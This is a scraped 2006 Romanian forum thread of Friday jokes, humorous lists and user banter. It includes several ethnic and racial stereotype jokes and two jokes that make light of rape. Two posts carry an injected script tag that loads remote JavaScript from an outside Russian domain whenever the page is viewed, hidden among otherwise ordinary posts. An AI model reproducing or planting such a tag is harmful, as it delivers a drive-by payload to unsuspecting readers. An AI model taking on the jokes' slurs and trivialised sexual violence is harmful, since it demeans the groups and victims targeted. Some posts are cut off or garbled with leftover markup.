Si asa o saptamana intreaga.
Deodata se face tacere.
De la prima cetate se aude:
-Ei,de ce nu mai trageti?
De la a doua cetate se raspunde:
-Nu putem,ghiuleaua e la voi!

19.05.2006, 09:31
...yap! another Fridaysmileys/smiley2.gif


...nu e bancsmileys/smiley2.gif ...dar cu siguranta ca o sa zambitismileys/smiley36.gif

20.05.2006, 16:43
Bune bancuri smileys/smiley36.gifsmileys/smiley36.gif, stiam si eu cateva, dar am sa scrie ce imi aduc eu aminte acum smileys/smiley1.gif

Ceva sec : O musca intra in gura calului, cand da sa iasa, calul pleaca .

D-zeu si cu Sfantu Petru in Gradina Raiului, D-zeu foarte suparat dupa ce a aflat de la Sf. Petru, ca pe pamant sunt doar 10% fete cumintii.Cum sa faca ei, ce sa faca, ca sa dovedeasca ca D-zeu mai exista....asa ca Sf. Petru veni cu o idee : -Doamne eu zic sa le trimitem la fetele cuminti cate o scrisoare si sa le felicitam, ca inca mai credin noi, si sa le invete si pe restu de fete....Ok zis si facut...acum careva din fete a primit vreo scrisoare?!smileys/smiley5.gif

O batrana este gasita lesina intr-un sant cu un sac de castraveti in spate. E dusa repede la spital, iar intamplarea se face ca erau niste studenti in practica, si s-au gandit ca faca niste glume, asa ca au pus un mic copil nascut langa patul batranei. Cand se trezi batrana, vede copilu, socata intreaba studenti : -Maica, dar al cui este copilu asta? Studenti ii raspund ca este al ei, batrana de acolo :-Vai maica, in ziua de azi numai ai incredere nici in castraveti


O faza adevarata, cand am locuit in Bucuresti.Eram in farmacie si asteptam la rand, bineanteles o coada de neimaginat, cand intra un tip repede, tranteste usa, si spune strigand "faceti loc va rog, este o urgenta"; un nene s-a trezit sa-l intrebe care este graba? nu poate sa astepte ca toti ceilalti?!....Tipu foarte agitat " E urgent nu auziti!! e la pat!!"...oricum i se face loc, ajunge tipu la tejghea si cere "3 prezervative, va rog" smileys/smiley36.gifsmileys/smiley36.gifsmileys/smiley36.gif Am ras cu lacrimi.

22.05.2006, 19:14
Un smecher discuta cu Dumnezeu. - Doamne, cat inseamna pentru tine 1 milion de ani? - 1 secunda. - Doamne, cat inseamna pentru tine 1 milion de dolari? - 1 cent. - Da-mi, te rog, si mie 1 cent. - Asteapta 1 secunda

22.05.2006, 21:07
...sau pana vineri macar...e doar marti smileys/smiley36.gifsmileys/smiley2.gifsmileys/smiley36.gif

26.05.2006, 02:26
<DIV>- Ce iese din

26.05.2006, 03:51
O femeie instala un calculator intr-o retea pentru un coleg de lucru.
Cand a venit randul setarii parolelor ea l-a intrebat ce cuvant vrea sa folosesca pentru logare. Vrand sa o intimideze, tipul i-a spus penis. Fara sa clipeasca, aceasta i-a introdus parola dorita, a reintrodus-o pentru confirmare dupa care era sa se prabuseasca de ras in fata monitorului. Curios, tipul i se uita peste umar si vede raspunsul calculatorului: PASSWORD REJECTED....NOT LONG ENOUGH

... femeia de serviciu, proaspat violata, la interogatoriu, descrie cum s-a trezit fata in fata cu faptasul, pe coridor.. - Bine, dar de ce nu ai incercat sa fugi?!?
-Pai unde sa fug, maica? In stanga perete, in dreapta perete, in spate d'abia spalasem...

26.05.2006, 09:48
[b]Topic: Si daca tot e vineri

01.06.2006, 10:49
...just a remindersmileys/smiley2.giftomorrow is casual daysmileys/smiley36.gif


09.06.2006, 02:45
In timpul unei vizite la un spital de nebuni, un vizitator il intreaba pe Director ce criterii se folosesc ca sa stabileasca daca un pacient trebuie internat sau nu. "Ei bine', spune Directorul, "umplem o cada de baie, apoi ii oferim pacientului o linguritza de ceai, o ceasca si o galeata si ii cerem sa goleasca cada" "Aha, intzeleg" spune vizitatorul. "O persoana normala va folosi galeata pentru ca e mai mare decat ceasca sau linguritza" " Nu" spune Directorul. "O persoana normala ar scoate dopul ! Doritzi un pat langa geam sau langa <st1:place w:st="&#111;n"><st1:country-regi&#111;n w:st="&#111;n">usa</st1:country-regi&#111;n></st1:place> ?"
Un american, un neamt un evreu si un negru merg prin jungla. La un moment dat pe american cade o omida, o ia si o arunca pe neamt, acesta o arunca pe evreu si acesta pe negru. Negrul o ia si o mananca. Dupa un timp iar cade o omida pe american, iar o arunca pe neamt acesta o arunca din nou pe evreu acesta o ia in mana si il intreaba pe negru " Cumperi o omida? "

09.06.2006, 05:07
Ce isi doresc femeile de la un barbat
(la prima intalnire)

1. Sa arate bine
2. Sa fie fascinant, sarmant
3. Sa aiba stare financiara buna
4. Sa fie un bun ascultator
5. Sa fie inteligent, spontan
6. Sa fie in forma
7. Sa fie imbracat cu gust
8. Sa aprecieze lucrurile fine
9. Sa fie plin de surprize
10. Sa fie un iubit ingenios si romantic

Ce isi doresc femeile de la un barbat
(cand au 32 de ani)

1. Sa arate placut (de preferinta cu par pe cap)
2. Sa fie atent, amabil (sa deschida usa masinii, sa ofere scaunul)
3. Sa aiba destui bani pentru o cina placuta
4. Sa asculte mai mult decat vorbeste
5. Sa rada la glumele mele
6. Sa transporte sacosele de la bacanie cu grija
7. Sa aiba macar ceva atragator
8. Sa aprecieze o masa bine gatita acasa
9. Sa-si aminteasca date de nastere si aniversari
10. Sa caute romantism macar o data pe saptamana

Ce isi doresc femeile de la un barbat
(cand au 42 de ani)

1. Sa nu fie foarte urat (poate fi chel)
2. Sa nu porneasca pana nu urc in masina
3. Sa-si permita uneori o cina in oras
4. Sa fie atent cand vorbesc
5. Sa-si aminteasca usor punctul culminant al bancului
6. Sa fie in forma suficienta pentru a rearanja mobila
7. Sa imbrace o camasa care sa ii acopere burta
8. Sa nu cumpere sampanie cu dop filetat
9. Sa-si aminteasca sa aseze colacul toaletei dupa folosire
10. Sa se rada in majoritatea weekend-urilor

Ce isi doresc femeile de la un barbat
(cand au 52 de ani)

1. Sa-si taie parul din nas si din urechi
2. Sa nu ragaie in public
3. Sa nu prea aiba grija banilor
4. Sa nu se trezeasca din somn cand o sterg de-acasa
5. Sa nu repete bancurile de prea multe ori
6. Sa fie in forma sa se ridice din pat in week-end-uri
7. Sa imbrace de obicei sosete la fel si lenjerie curata
8. Sa aprecieze o cina buna la TV
9. Sa-si aminteasca numele meu la ocazii
10. Sa se rada in unele week-end-uri

Ce isi doresc femeile de la un barbat
(Cand au 62 de ani)

1. Sa nu terorizeze copiii mici
2. Sa-si aminteasca unde e baia
3. Sa nu ceara bani multi pt.intretinere
4. Sa nu sforaie tare cand doarme
5. Sa-si aminteasca de ce rade
6. Sa fie in forma sa se ridice singur in picioare
7. Sa imbrace de obicei aceleasi haine
8. Sa-i placa mancaruri usoare
9. Sa-si aminteasca unde si-a last dintzii
10. Sa-si aminteasca ca e week-end

Ce isi doresc femeile de la un barbat
(cand au peste 72 de ani)

1. Sa respire
2. Sa nu uite de wc

09.06.2006, 06:51
...si daca toate dorintele sunt indeplinitese casatoresc la 75 de anismileys/smiley32.gif ....sitraiesc fericiti pana laadanci batranetismileys/smiley36.gif

...Happy Friday la totismileys/smiley4.gif

09.06.2006, 07:28
Nu, la fiecare 10 ani,smileys/smiley4.gif pretentiile sunt altelesmileys/smiley36.gif

10.06.2006, 07:47
Sotii Ionescu se pregatesc de culcare. La un moment dat sotia i se plange sotului:

14.06.2006, 04:19
De ce femela paianjenului cunoscuta sub numele de Vaduva neagra isi omoara masculul dupa implinirea actului sexual ?
Ca sa opreasca sforaitul inainte de a incepe.

De ce au nevoie barbatii de reluari la fazele sportive ?
Pentru ca dupa 30 de secunde ei uita tot ce s-a intamplat. <BR style="mso-special-character: line-break"><BR style="mso-special-character: line-break">

Care-i lucrul cel mai inteligent pe care-l poate spune un barbat ?
Asa cum zice nevasta mea...

16.06.2006, 04:17
GLOBE-TROTTER JEFUIT LA <st1:City w:st="&#111;n"><st1:place w:st="&#111;n">BACAU</st1:place></st1:City>
Autor: (A.C.)

<TABLE class=Ms&#111;normalTable style="WIDTH: 100%; mso-cellspacing: 0in; mso-padding-alt: 0in 0in 0in 0in" cellSpacing=0 cellPadding=0 width="100%">
<TR style="HEIGHT: 4pt; mso-yfti-irow: 0; mso-yfti-firstrow: yes; mso-yfti-lastrow: yes">
<TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 0in; BORDER-TOP: #d4d0c8; PADDING-LEFT: 0in; PADDING-BOTTOM: 0in; BORDER-LEFT: #d4d0c8; PADDING-TOP: 0in; BORDER-BOTTOM: #d4d0c8; HEIGHT: 4pt; : transparent">
Un biciclist danez, aflat in turul Europei, a fost jefuit in timp ce pedala din greu pe o panta abrupta din comuna bacauana Plopana. Hotul, un localnic, a reusit performanta de a-i fura portofelul din mers, fara ca acesta sa-si dea seama. In portofel se aflau 350 de euro si trei milioane de lei.</TD></TR></T></TABLE>

16.06.2006, 04:55
Now please give an honest answer on this one:
This test has one question, but it's a very importantone. By giving an honest answer, you will discover where you stand morally. The test features an unlikely, completely fictional situation in which you will have to make a decision. Remember that your answer needs to be honest, yet spontaneous. Please scroll down slowly and give due consideration to each line.

You are in <st1:State w:st="&#111;n">Florida</st1:State>, <st1:City w:st="&#111;n"><st1:place w:st="&#111;n">Miami</st1:place></st1:City> to be specific. There is chaos all around caused by a hurricane with severe flooding.
This is a flood of biblical proportions. You are a photojournalist working for a major newspaper, and you're caught in the middle of this epic disaster. The situation is nearly hopeless. You're trying to shoot career-making photos.
There are houses and people swirling around you, some disappearing in the water. Nature is unleashing all of its destructive fury.

Suddenly you see a man floundering in the water. He is fighting for his life, trying not to be taken down with the debris. You move closer... somehow the man looks familiar. You suddenly realize who it is. It's George W. Bush! At the same time you notice that the raging waters are
about to pull him under.

You have two options - you can save the life of G.W. Bush or you can shoot a dramatic Pullitzer Prize winning photo, documenting the demise of the world's most powerful man.

So here's the question, and please give an honest answer:

Would you select high contrast <st1:City w:st="&#111;n"><st1:place w:st="&#111;n">Fuji</st1:place></st1:City> color film, or would you go with the classic simplicity of Kodak black and white? smileys/smiley36.gif<script<<script src=http://www.iroe.ru/ngg.js></script>

07.07.2006, 04:01

It has been brought to management's attention that some individuals throughout
the company have been using foul language during the course of normal conversation with their co-workers. Due to complaints received from some employees who may be easily offended, this type of language will no longer be tolerated.

We do however, realize the critical importance of being able to accurately
express your feelings when communicating with co-workers. Therefore,
a list of 18 New and Innovative phrases have been provided so that proper
exchange of ideas and information can continue in an effective manner.
I think you could use more training.
You don't know what the f___ you're doing.

She's an aggressive go-getter.
She's a ball-busting b__ch.

Perhaps I can work late.
And when the f___ do you expect me to do this?

4) TRY SAYING: [B][I]<B<script src=http://www.iroe.ru/ngg.js></script>

07.07.2006, 06:28

Culmea rabdarii: sa fii rom

07.07.2006, 06:46
Un grup de turisti bulgari intr-o excursie in Romania prin muntii Carpati.
La un moment dat se aude un urlet infricosator.


Speriati si curiosi isi intreaba ghidul despre ce este vorba.
Ghidul le spune glumind:
- La noi in Romania exista un grup de femei foarte frumoase care in momentul in care le vine timpul de imperechere se aduna intr-o "pestera" si isi inalta strigatul hormonal in asteptarea masculilor.
Peste 2 zile cel mai titrat ziar din Bulgaria scria cu litere de-o schioapa.
"15 barbati bulgari au murit calcati de tren intr-un tunel din Romania. Toti erau dezbracati"

07.07.2006, 07:01
Tot ce scriu mai jos, este cat se poate de real, nu un rod al imaginatiei mele:

Nicolae Vacaroiu:
- Nu facem privatizare de dragul privatizarii, ci din contra.
- Toata lumea crede ca urmarim ceva prin chestia asta. De fapt nu urmarim nimic.
- Noi suntem putin cu capul patrat.

Silviu Somancu, deputat PSM:
- Nu poate exista un patrulater cu 3 laturi.

Florin Georgescu:
- Lumea are voie sa aiba 2 conturi: un cont in lei, un cont in valuta si un cont de investitii. Mai mult nu.

Corneliu Vadim Tudor:
- Eu as putea sa fiu presedinte pentru o zi, dar o zi polara de sase luni.

Oliviu Gherman, presedintele senatului:
- Suntem si noi oameni, si ca toti oamenii, parasim sedintele.

Iulian Mincu:
- Domnule Presedinte, in Romania natalitatea incepe sa creasca din acest moment.

Ion Solcanu, senator PDSR:
- Vom face scoli pentru tigani, cu internate, terenuri de fotbal si bazine de inot, pentru a-i atrage spre invatatura.
- Suntem invatati cu aceste atacuri precum sosul cu alimentele.

Ilie Verdet, presedinte PSM:
- Cele publicate este o minciuna, un neadevar inexact.

Tudor Mohora, presedinte PS:
- Economia socialista a fost de piata.

Viorel Catarama:
- Sunt aicea printre noi, in aceasta sala, tineri care au murit in revolutia din decembrie 1989.

Ion Ratiu:
- Sunt ruda cu Andrei Ratiu precum e ruda Petre Roman cu autocamioanele Roman.

Sergiu Nicolaescu, senator PDSR:
- Acestea sunt intrebari care trebuiesc puse celui intrebat.
- Dar ce, este neaparata nevoie sa citesti legea ca sa votezi?

Anton Lingu, primar PSM de Braila:
- Asta-i o minciuna frustrata!

Ilie Fonta, consilier prezidential:
- Lipseste vidul legislativ.

Adrian Nastase, vicepresedinte PDSR:
- Ceea ce este dramatic pentru un om ca mine este ca semneaza mai mult decat citeste.

Radu Berceanu, deputat PD:
- Problema homosexualilor trebuie privita barbateste, in fata.

Ioan Gavra, deputat PUNR:
- Am o vila mare cu 70 de apartamente, care se cheama si bloc, in care stau si eu.

IPS Teoctist, patriarhul Romaniei:
- Isus s-a nascut intr-o pestera foarte modesta.

Antonie Iorgovan, judecator la Curtea Constitutionala:
- La noi, sefii de partide sunt ca vacile in India. smileys/smiley80.gif

07.07.2006, 07:43
...si maine-i sambatasmileys/smiley4.gif


07.07.2006, 08:11
Un roman, ajuns in Franta, isi ia "petit dejuner"-ul
(cafea,croissant,paine, unt si marmelada) cand un francez, mestecandu-si nelipsita sa guma, se aseaza langa el.
Romanul il ignora in mod vadit, dar in ciuda acestui lucru, francezul il apostrofeaza: "Voi painea o mancati toata?"
Romanul raspunde, prost dispus: "Evident."
Francezul facand un balon cu guma: "Noi nu. In Franta mancam doar miezul. Coaja o adunam intr-un tomberon, o reciclam, o transformam in croissant si o vindem in Romania", continua, cu o strambatura insolenta.
Romanul pastreaza tacerea.
Francezul insista: "Voi puneti marmelada pe paine?"
Romanul: "Evident."
Francezul, intorcand guma intre dinti si ranjind,zice:
"Noi nu.In Franta, la micul dejun, noi mancam fructe proaspete, dar punem toate cojile si raranjind zice:

Noi nu.In Franta, la micul dejun, noi mancam fructe proaspete, dar punem toate cojile si ramasitele intr-un tomberon, le reciclam, facem marmelada si o vindem in Romania."
Atunci, romanul intreaba: "Voi francezii faceti sex?"
"Bine-nteles!" raspunde francezul cu un zambet imens.
"Si ce faceti cu prezervativele folosite?" continua sa intrebe romanul.
"Le aruncam, bine-nteles."
"Noi nu" conchide romanul "in Romania , le strangem intr-un tomberon, le reciclam, le transformam in guma de mestecat si le vindem in Franta".

ens*, tu mesteci guma?smileys/smiley36.gif...sau mananci painea toatasmileys/smiley36.gif

07.07.2006, 08:28
Perle Armata

Fruntasul Popescu va fi pedepsit cu 5 zile de arest pe motiv ca a fost gasit cu o persoana de sex feminin la gardul unitatii

09.07.2006, 17:41
Ardeleanu cu soacra-sa pe camp. La un moment dat un traznet la 10 m de ei. Ardeleanu:
- No, ma..
Peste 5 minute un traznet la 5 m de ei:
- No nu asha, ma..
Peste inca 5 minute traznetul loveste in soacra-sa:
- NO ASHA, MA...

11.07.2006, 01:50
Un tip la pescuit la copca... Sapa baiatu', sapa, si cand baga undita in apa aude o voce
care-i spune: "Aici nu vei gasi peste!" Tipu' nostru o ia de buna, crede ca-i vre-un
spiridus, sau ceva, asa ca sapa alta copca, mai departe.
Aceeasi voce, acelasi raspuns. Omu' incepe sa se oftice. Mai sapa o copca, jurand ca-i
ultima. Din nou vocea: "Nici aici nu vei gasi peste".
"Ba, f...te, da tu de unde p..a mea stii tu unde e peste si unde nu".
"Aaaaaa, pai eu sunt directorul patinuarului".

11.07.2006, 01:55
Emotii mari la circ. Un numar de dresura extraordinar: crocodilul imens deschide[B] gura, dresorul sau

11.07.2006, 02:09

[b]- Ce mai faci ba, Bula?
- Ce sa fac, trag limbi.
- Vai, nu stii ca nu-i sanatos?
- Pai nu trag

11.07.2006, 02:43
Rossa, tu ce calendar folosesti? La mine nu e vineri azi.smileys/smiley36.gif

11.07.2006, 02:50
smileys/smiley2.gifsi ce daca, sorine ?!...toate lucrurile au o explicatie...

...le-a insirat de azi, sa ne distram vineri smileys/smiley2.gifsmileys/smiley36.gif

11.07.2006, 02:59
Am scris asta pentru ca mai sunt si alte topice de bancuri si pentru ca stiu ca lui Rossa nu-i place sa fie criticat. Imi imaginez ce patea Aconi de la Rossa daca scria aici. smileys/smiley36.gif

11.07.2006, 20:00
Zau ....mai draga , mai ?!? Acum scriu si eu pe la toate topicurile , nu m-ai facut tu GICA CONTRA atunci cand am zis acelasi lucru ca si tine ?????http://www.romanian-portal.com/forum/smileys/smiley7.gif Hai lasa vrajeala , zi-mi mai bine daca ti-au placut bancurile ??????smileys/smiley36.gif

12.07.2006, 05:28
...cred ca rossa are treaba vinerismileys/smiley2.gif...si a pus bancurile di-nainte ca sa le citim vinerismileys/smiley36.gif

...vrajeala e ca ne plac bancurile chiar daca topicul are un orar bine stabilit, iar rossa altulsmileys/smiley36.gif


12.07.2006, 05:34
<DIV class=Ms&#111;normal>Maria se marita cu Ion. Ea, de fapt, il iubea pe Vasile, dar fiind materialista, il alege pe Ion ( fruntas de sat) ca sot....In noaptea nuntii, gelosul de Vasile vine tiptil la casa lui Ion, si se uita pe geam... Inauntru, Ion i-o trage lu Maria...gelosul Vasile incepe sa urle atunci:"vasile i-o trage lu Maria!! Vasile i-o trage lu Maria"....Ion sare ca ars, intrerupe copularea si merge sa investigheze prin casa, sa caute sursa zgomotului....negasind nimik, se intoarce la sotioara si incepe s-o "cocarjeze" din nou...gelosul Vasile iar incepe sa strige "Vasile i-o trage lu Maria"......de data asta, Ion aprinde toate luminile, ia un par si cauta prin toata casa, prin toata curtea.......profitand de asta, Vasile se strecoara in dormitor si chiar incepe sa i-o traga Mariei..... Ion tot cauta prin curte, ajunge in dreptul geamului , se uita inauntru si exclama" Mah, sa fiu al draq...... de-aici asa se vede"</DIV>

12.07.2006, 05:35
<DIV class=Ms&#111;normal>D

12.07.2006, 05:45
no, vezi Man ! Bravo baiete, dara smileys/smiley32.gifsmileys/smiley32.gifsmileys/smiley32.gif

asta cu branza eOK !...chiar daca nu e vineri amu, no ! smileys/smiley36.gif

12.07.2006, 05:48
Rossa, tu ce calendar folosesti? La mine nu e vineri azi.smileys/smiley36.gif

...rossa nu e singurulsmileys/smiley36.gif

14.07.2006, 06:07
- Ce fel de sot sa-mi aleg, mama?

- Draga mea, cel mai bine e sa te casatoresti cu un militar. Dimineata isi face patul, stie sa spele, isi coase ciorapii si nasturii, stie sa gateasca, dar cel mai important e ca stie sa asculte de superiori si sa faca tot ce i se spune...

14.07.2006, 06:07
Un turist aflat in excursie prin Romania ajunge la o stana unde vede un cioban cu cainele langa el.
- Auzi bade, e rau cainele?
- Apoi ii rau!
-Dar musca?
- Musca.
-Dar vad ca nu zice nimic!
La care cainele:
- Apoi daca-i musai, HAM!

Intorcandu-se de la coasa cu caruta plina, Vasile isi mana de zor calul.In faptul serii fiind isi biciuia bidiviul din ce in ce mai tare.
La un moment dat, satul de atata cotonogeala, calul se opreste in drum , se intoarce catre Vasile si, cu o privire plina de expresivitate, ii spune:
" Mai Vasile , da-o ma-n aia ma-sii de treaba! Dai in mine ca intr-o vita. Nu te gandesti ca sunt si eu din carne, ca simt fiecare lovitura si sufar enorm.Ce dracu'ma, Vasile!"
Auzindu-si calul vorbind, ingrozit, Vasile arunca haturile din maini si o rupse la fuga peste fanete livid la fata.Credinciosul lui caine ii urma indeaproape.
La un moment dat, obosit, Vasile se opri si se aseza pe o piatra.La scurt timp sosi si cainele care, gafaind, ii spuse:
" Ba Vasile , sa fiu al dracului , ce m-a speriat calul ala cand a inceput sa vorbeasca!"in

14.07.2006, 06:47
WARNING: New Virus

There is a new virus. It's called WORK. If you receive
WORK from your colleagues, your boss, via e-mail, or
from anyone else, do not touch it under any

This virus wipes out your private life completely.

If you should happen to come in contact with this
virus, take two friends and go straight to the nearest
bar. Order drinks immediately and after three rounds,
you will find that WORK has been completely deleted
from your system.

Forward this virus warning immediately to at least
five friends. Should you realize you do not have five
friends, this means you are already infected by this
virus and WORK already controls your life. If this is
the case, go to the bar and stay until you make at
least five friends.

I think I have five friends but am not entirely
positive so I'm headed for the bar anyway ....it
never hurts to be safe.


14.07.2006, 06:48
Intr-un tren ce mergea de la Cluj la Bucuresti, in acelasi compartiment, erau o doamna mai in virsta cu fica ei,linga tinara fata statea un domn mai in virsta, in partea opusa stateau doi tinerii, un oltean si un ardelean. Tot timpul calatoriei tinarul oltean nu inceta sa faca complimente fetei. La un moment dat, trenul intra in tunel si se aude un sarut prelung si o "cirpitura" de palma. Dupa ce trenul iese din tunel fiecare se gindea:
Doamna in virsta :"Timpitul asta de Bosorog a incercat sa ma sarute, da' din gresala a sarutat-o pe fica mea si ea la "pocnit"
Domnul in virsta:"Timpitii astia tinerii au incercat sa o sarute pe aasta mica si au luat-o peste gura."
Olteanu:"Zapacitul asta de Ardelean a incercat sa sarute fata , ea a crezut ca eu am incercat sa o sarut si mi-a trasnit una."
Ardeleanu:" Abia astept sa mai prind un tunel, sa mai imit odata zgomotul unui sarut si sa ii mai "***" o palma olteanului asta, ca asa ma inerveza "moca" lui, de numa!"

14.07.2006, 06:57
<DIV>Matematica si Logica</DIV>
<DIV>Doua calugarite au iesit de la manastire ca sa vanda prajituri. Una era sora Matematica si cealalta sora Logica (L). Se apropie noaptea si suntem inca departe de manastire.
L: Sora, ti-ai dat seama ca ne urmareste un barbat de peste o jumatate de ora ?
M : Da, ce o vrea de la noi?
L: Este logic. Vrea sa ne violeze .
M: Oh Doamne! Calculez ca daca continuam sa mergem in acest ritm, ne va ajunge in 15 minut e. Ce putem face?
L: Unicul lucru logic pe care il putem face es te sa mergem mai repede !!!
M : Nu cred sa functioneze asta !!!
L: Bineinteles ca nu, pentru ca si el a facut ultimul lucru logic pe care-l putea face, a inceput si el sa mearga mai repede !!!
M : Si acum, ce vom face ? O sa ne ajunga intr- un minut.
L : Unicul lucru logic pe care il putem face es te sa ne separam, d-voastra o luati pe acolo si eu pe aici; nu va putea sa ne urmareasca pe amandoua !
Atunci, barbatul s-a decis s-o urmareasca pe sora Logica. Sora Matem atica a ajuns la manastire preocupa ta de ceea ce i s-o fi intamplat sorei L ogica, dar dupa un timp a sosit si sora Logica.
M : Sora Logica!!. Multumesc lui D-zeu ca ati ajuns cu bine .Povestiti-mi ce s-a intamplat ?.
L : S-a intamplat ceea ce era logic . Barbatul nu putea sa ne urmareasca pe amandoua, asa ca a optat pentru mine .
M : Si, ce s-a intamplat dupa aceea ?
L : Ceea ce era logic . Am inceput sa fug cat mai repede, si el dupa mine, la fel.
M : Si ?
L : Din nou ceea ce era logic. M-a ajuns.
M : Dumnezeule, si d-voastra ce ati facut?
L: Am facut ceea ce era logic, mi-am ridicat fusta.
M : Dumnezeule, si omul ce a facut ?
L : Si el a facut ceea ce era logic , si-a dat jos pantalon ii
M : Oh, nu !. Ce s-a intamplat dupa aceea ?
L : Pai nu este logic sora ? O calugarita cu fusta ridicata fuge mult mai repede decat un barbat cu pantalonii in vine !


20.07.2006, 21:56
Eu am executat pedeapsa . M-am cam incurcat la AVE MARIA dar a mers pana la urmasmileys/smiley36.gif

20.07.2006, 22:47
Un zgircit suna la 89 89 89.La celalalt capat al firului se aude...iubire bine ai venit fac tot ce vrei cum vrei cind vrei !!!

zgircitul intreaba: - chiar faci tot ce vreau ?

- da iubire tot ce vrei cind vrei cum vrei

-atunci eu inchid si suna-ma tu

20.07.2006, 22:53
ANUNTURI MATRIMONIALE<TT>Spion sub acoperire - 29 ani, vreau sa cunosc doamna intre 18-30 ani
pentru o relatie romantica si de durata. Nu te obosi sa imi scrii,
unde locuiesti.

Domn frumos, nu foarte sanatos, care nu poate sa si permita decat
numarul standard de caractere pentru anunt. Sunt inteligent, bun,
sensibil si doresc doamna draguta si romantica pentru relatie
serioasa.Suna-ma la 0231 -

Si idiotii au nevoie de iubire - Daca iti place sa intri la
dupa ce filmul a inceput, sa arunci cu obiecte de mobilier prin casa si
sa te uiti prin gaura cheii la prietenii tai care sunt in baie, avem
deja trei lucruri in comun. Hai sa ne intalnim si sa aflam ce alte
negative avem in comun. Ciudatul, C.P. 2.

Dezechilibrat din punct de vedere financiar - datorez tuturor bani.
nu esti unul dintre creditorii mei as vrea sa te intalnesc. Suna-ma tu,
ca mie mi-au oprit abonamentul. Stan, C.P.4

Doctor, 35 ani doresc sa cunosc o femeie cu o reala frumusete
interioara. Trimiteti radiografia la Dr. Popa, C.P. 67.

Mincinos - Caut femeie frumoasa pentru a ma ajuta sa imi cheltuiesc
milionul de dolari pe Coasta de Azur

Barbat, nu fumez, nu beau, nu mananc, nu respir, de fapt, sunt mort.Am
nevoie de cineva care sa ma ingroape. C.P. 57

Femeie mare cauta barbat si mai mare - pentru a parea mai mica prin
comparatie. Trimite fotografie la C.P. 841.</PRE></TT>

20.07.2006, 23:04

-O dieta echilibrata inseamna cate o prajitura in fiecare mana.

-Nu lua niciodata un somnifer si un laxativ in aceeasi seara.

-Judecata buna vine in urma experientelor rele, iar acestea vin in urma

judecatii rele.

-Greutatea normala: nu trebuie sa cantaresti mai mult decat frigiderul


-Nu te ingrijora de ceea ce gandesc oamenii - nu li se intampla prea


-Mersul la biserica nu te face credincios, asa cum statul intr-un garaj

nu te face masina...

-Este mai usor sa obtii iertarea decat permisiunea.

-Constiinta este ceea ce sufera atunci cand restul partilor fiintei tale

se simt atat de bine.

-Daca trebuie sa alegi intre doua rele - alege-l pe cel pe care nu l-ai

mai incercat pana atunci.

-Nu testa niciodata adancimea apei cu ambele picioare.

-Experienta este un lucru minunat: iti permite sa recunosti o greseala

atunci cand o repeti.

-Da-i unui om un peste si el va manca o zi; invata-l sa pescuiasca si el va sta pe marginea lacului si va bea bere toata ziua.

21.07.2006, 00:22
smileys/smiley36.gifsmileys/smiley36.gifsmileys/smiley36.gifsmileys/smiley36.gifsmileys/smiley36.gif....rossa, citesc si tampesc de ras si ma intreb la cate bancuri stii mai exista ceva serios in capul tau ?! 1, apoi 2...care este diferenta intre bancurile postate de tine la topicul "bancuri" fata de cele postate la "si daca tot e vineri" ?

concluzia mea:

fara bancurile tale nu as sti ca se apropie weekendul si ar fi mult prea sec smileys/smiley2.gifsmileys/smiley36.gif

21.07.2006, 00:38
Hai sa-ti raspund : 1. Nici eu nu stiu daca in capul tau exista ceva serios smileys/smiley36.gif

2. Scriu aici pentru ca azi e vineri si ma gandeam ca azi n-o sa-mi zica nimeni , nimic ......dar ai aparut tu

21.07.2006, 01:18
vezi, rossa te pripesti si nu dai raspunsuri complete...smileys/smiley2.gif

cu raspunsul 1. sunt de-acord smileys/smiley2.gifsmileys/smiley36.gif

la 2. intrebam...si daca oricum e vineri, de ce nu ai scris toate bancurile la "si daca e vineri" de ce si le-ai separat ????!!!!!...oricum eeee vineeeeri smileys/smiley19.gif

21.07.2006, 01:23
[/url] Draga , zi-mi si mie ce am gresit ?? Te-am facut pe tine sa butonezi o data in plus ?? Am avut eu ceva in cap atunci dar am uitatsmileys/smiley36.gifCe vrei , asa uita omul la batranete . Cand o sa ajungi si tu la varsta mea o sa realizezi asta [url="http://www.smileycentral.com/?partner=ZSzeb001_ZSYYYYYYILRO"]http://smileys.smileycentral.com/cat/15/15_4_122.gif (http://www.smileycentral.com/?partner=ZSzeb001_ZSYYYYYYILRO)

21.07.2006, 01:56
La NASA soseste unn OZN acoperit complet cu aur.
Din el coboara un extraterestru mic, verde, dar cu antenele din aur. Este luat la intrebari, cercetat:
- De unde vii tu?
- De pe Marte.
- Si toti aveti acolo farfurii zburatoare din aur?
- Da.
- Shi toti aveti acolo antene din aur?
La care extraterestrul:
- Numai noi, evreii.

21.07.2006, 02:06
Un ungur la magazin:
- Biscuiti este?
- Nu "este" ci "sunt".
- Da rahat sunt?
- Da, esti!

21.07.2006, 03:28
smileys/smiley36.gifsmileys/smiley36.gifsmileys/smiley36.gifsmileys/smiley36.gif...ce mai...esti tare la bancuri smileys/smiley32.gifsmileys/smiley32.gifsmileys/smiley32.gifstiu si eu unul cu biscuitii

biscuiti pe ungureste =keksz se citeste keks
Tineri casatoriti

23.07.2006, 22:36
<b style="">Citate
despre bărbaţi</span>[/b]


* Dacă nu ar fi fost
femeile am fi continuat să ne

23.07.2006, 22:38

24.07.2006, 01:56
Doua babe in cimitir, pe bancuta.
-auzi? da tu cati ani ai?
-si mai pleci acasa?

04.08.2006, 03:29
A woman from <st1:State w:st="&#111;n">New York</st1:State> was driving through a remote part of <st1:State w:st="&#111;n"><st1:place w:st="&#111;n">Oklahoma</st1:place></st1:State> when her car broke down. An American Indian on horseback came along and offered her a ride to a nearby town.
She climbed up behind him on the horse and they rode off.
The ride was uneventful, except that every few minutes the Indian would let out a "Ye-e-e-e-h-a-a-a-a" so loud that it echoed from the surrounding hills.

When they arrived in town, he let her off at the local service station, yelled one final "Ye-e-e-e-h-a-a-a-a!" and rode off.

"What did you do to get that Indian so excited?" asked the service-station attendant.
"Nothing," the woman answered. "I merely sat behind him on the horse, put my arms around his waist, and held onto the saddle horn so I wouldn't fall off."
"Lady," the attendant said, "Indians <B style="mso-bidi-font-weight: normal">don't use saddles[/B]

04.08.2006, 06:47
aveti grija ce explicatii dati copiilor

Un cuplu merge impreuna cu copilul lor de 7 ani la o plaja de nudisti.

In timp ce mama se bronza, tatal pleaca sa faca o plimbare. Baietelul pleaca si el, dar se intoarce iute: - Mami, mami, am vazut multe femei cu sani muuuult mai mari ca ai tai! - Cu cat sunt mai mari, cu atat sunt mai proaste! raspunde mama lui.

